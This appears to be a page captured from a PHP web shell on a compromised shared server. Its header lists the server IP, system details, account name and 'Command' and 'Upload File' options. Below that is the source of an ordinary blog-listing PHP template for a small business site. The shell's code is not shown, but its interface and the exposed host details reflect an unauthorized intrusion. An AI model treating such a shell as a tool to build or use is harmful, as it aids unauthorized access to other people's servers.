Server IP : 103.53.40.154 / Your IP : 3.128.31.76 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/fastelevator.in/../snackpoint.co.nz/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <?php include("top-links.php") ?> <title><?php echo $datablog["site_pages_meta_title"];?></title> <meta name="description" content="<?php echo $datablog["site_pages_meta_description"];?>"> </head> <body> <?php include "header.php";?> <div class="pq-breadcrumb" style="background-image:url('images/blog/breadcrumb.jpg');"> <div class="container"> <div class="row align-items-center"> <div class="col-lg-12"> <nav aria-label="breadcrumb"> <div class="pq-breadcrumb-title"> <h1>Our Blogs</h1> </div> <div class="pq-breadcrumb-container"> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="<?= $wspath;?>"> <i class="fas fa-home me-2"></i>Home </a> </li> <li class="breadcrumb-item active">Our Blogs</li> </ol> </div> </nav> </div> </div> </div> </div> <section class="2-colume-grid"> <div class="container"> <div class="row"> <div class="col-xl-12"> <div class="pq-blog pq-blog-col-3"> <div class="row"> <?php $sqlblog = "SELECT * FROM `tbl_blog` WHERE `blog_status`='Active' ORDER BY b_id DESC"; $runblog = mysqli_query($db, $sqlblog) or die("Query Not run"); while ($datablog = mysqli_fetch_assoc($runblog)) { $date = $datablog['date']; $dateObject = new DateTime($date); $formattedDate = $dateObject->format('F d, Y'); ?> <div class="col-lg-4"> <div class="pq-blog-post"> <div class="pq-post-media"> <img src="<?php echo $wspath?>admin/images/property-image/<?php echo $datablog['image'];?>" alt="<?php echo $datablog['title'];?>" title="<?php echo $datablog['title'];?>"> <div class="pq-post-date"> <a href="<?php echo $wspath?>blog<?php echo $datablog['slug_link'];?>.html"><span><?php echo $formattedDate;?></span></a> </div> </div> <div class="pq-blog-contain"> <h5 class="pq-blog-title"><a href="<?php echo $wspath?>blog<?php echo $datablog['slug_link'];?>.html"><?php echo $datablog['title'];?></a></h5> <div class="pq-blog-info"> <p><?php echo $datablog['short_description'];?></p> </div> <div class="pq-btn-container"> <a class="pq-button pq-btn-link" href="<?php echo $wspath?>blog<?php echo $datablog['slug_link'];?>.html"> <div class="pq-button-block"> <span class="pq-button-line-left"></span> <span class="pq-button-text">Read More</span> <span class="pq-button-line-right"></span> </div> </a> </div> </div> </div> </div> <?php } ?> </div> </div> </div> </div> </div> </section> <?php include "footer.php";?> </body> </html>